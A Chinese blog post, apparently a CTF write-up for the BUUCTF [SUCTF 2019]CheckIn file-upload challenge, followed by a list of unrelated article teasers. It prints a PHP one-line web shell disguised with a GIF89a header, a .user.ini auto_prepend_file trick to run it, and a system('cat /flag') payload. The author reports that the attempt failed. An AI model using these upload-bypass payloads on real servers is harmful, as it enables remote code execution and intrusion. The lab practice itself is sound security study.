106,【6】 buuctf web [SUCTF 2019]CheckIn

server/2025/2/8 21:29:29/

进入靶场

文件上传

老规矩,桌面有啥传啥 

过滤了<?

寻找不含<?的一句话木马

文件名

123(2).php.jpg

文件内容

GIF89a?
<script language="php">eval($_GET['123']);</script>

 123即密码,可凭借个人喜好更换

再上传一个文件将jpg文件变成php文件执行 

这里用到.htaccess发现不行

尝试.user.ini

文件名

123(3).user.ini

文件内容

GIF89a
auto_prepend_file=123(3).php.jpg

 

文件名

123(3).php.jpg

文件内容

GIF89a
<script language='php'>system('cat /flag');</script> 

 

 按理说该查看即可得到flag了

但查看时为空

看看是哪步出了问题

没有上传成功

修改文件名,还是上传不成功

摧毁靶机,重试

 

要么url中81就不见了,像上图 

要么返回上传页面

还发现不管上传什么路径都不变,尝试上传下面这张图片,还是那个路径,不是,路径变都不变,还是没上传成功,访问不到,这只是一个中规中矩的图片

 尝试修改文件那么多遍,合着题目有问题

我再最后改一次

再开启一次靶场

还是不行

净是些让人破防的题

想到见到了很多次状态码500,搜搜看什么意思

so???????????????????????????????

 


http://www.ppmy.cn/server/166032.html

相关文章

Linux在x86环境下制作ARM镜像包

在x86环境下制作ARM镜像包&#xff08;如qemu.docker&#xff09;&#xff0c;可以通过QEMU和Docker的结合来实现。以下是详细的步骤&#xff1a; 安装QEMU-user-static QEMU-user-static是一个静态编译的QEMU二进制文件&#xff0c;用于在非目标架构上运行目标架构的二进制文…

远程调用总结

远程调用的作用 在原来的springboot项目中通常是通过调用业务层来实现一个功能。在微服务中由于我们将许多业务进行一个拆开&#xff0c;但是我们需要其他业务层的数据所以就需要通过发送请求的方式来获取数据 实现注册中心nacos(第一步) 我们基于Docker来部署Nacos的注册中心…

工作流项目BPMN.JS_Question梳理

工作流项目 想了解如果候选人熟悉工作流技术、bpmn.js和Flowable工作流引擎&#xff0c;面试官会对哪些信息感兴趣。我需要分析这个问题&#xff0c;并给出一个全面而结构化的回答。 首先&#xff0c;用户可能希望了解作为前端面试官&#xff0c;应该关注候选人哪些方面的知识和…

蓝耘智算平台搭载DeepSeek R1模型:高效环境配置全攻略

声明&#xff1a;非广告&#xff0c;为用户体验文章 目录 引言 一、蓝耘智算平台的核心优势 二、DeepSeek R1模型简介 三、蓝耘平台部署DeepSeek R1的详细步骤 &#x1f343;1&#xff1a;注册与登录蓝耘智算平台 &#x1f343;2&#xff1a;通过应用市场选择模型 &…

Java 集合中的 `removeIf` 和 Stream API 的 `filter`

前言 在Java编程中&#xff0c;处理集合数据是一项常见的任务。为了更高效地过滤集合中的元素&#xff0c;Java 8引入了两种强大的方法&#xff1a;removeIf 和 Stream API 中的 filter 方法。 一、removeIf 方法 1. 工作原理 removeIf 是 Collection 接口中的一个默认方法&…

工厂模式+枚举类的json序列化+redisson的使用

目录 这里分享以下工厂模式反射IoC容器多态的妙用 场景引入 环境准备 代码实现 1.设置枚举类来规定有哪些学习方式 2.设置作业的实体对象 3.获取学习方式的接口 4.进行学习的动作&#xff0c;有出题和搜题 5.使用小猿搜题这种学习方式进行的两种学习动作学习&#xff…

VSCode使用总结

1、VSCode左边资源窗口字体大小设置 方法一&#xff08;使用&#xff0c;已成功&#xff09; 进入安装目录Microsoft VS Code\resources\app\out\vs\workbench(如果是下载的压缩包&#xff0c;解压后resources\app\out\vs\workbench) 打开文件 workbench.desktop.main.css 搜…

Android 系统的启动流程

第一步&#xff0c;当用户按下手机电源键时&#xff0c;首先会从 ROM 中预定义的地方加载引导程序 Boot Loader 到 ARM 中&#xff1b; ROM&#xff08;Ready-Only-Memory&#xff09;&#xff1a;只读存储器&#xff0c;只能读出无法写入&#xff0c;即便是切断电源数据也不会…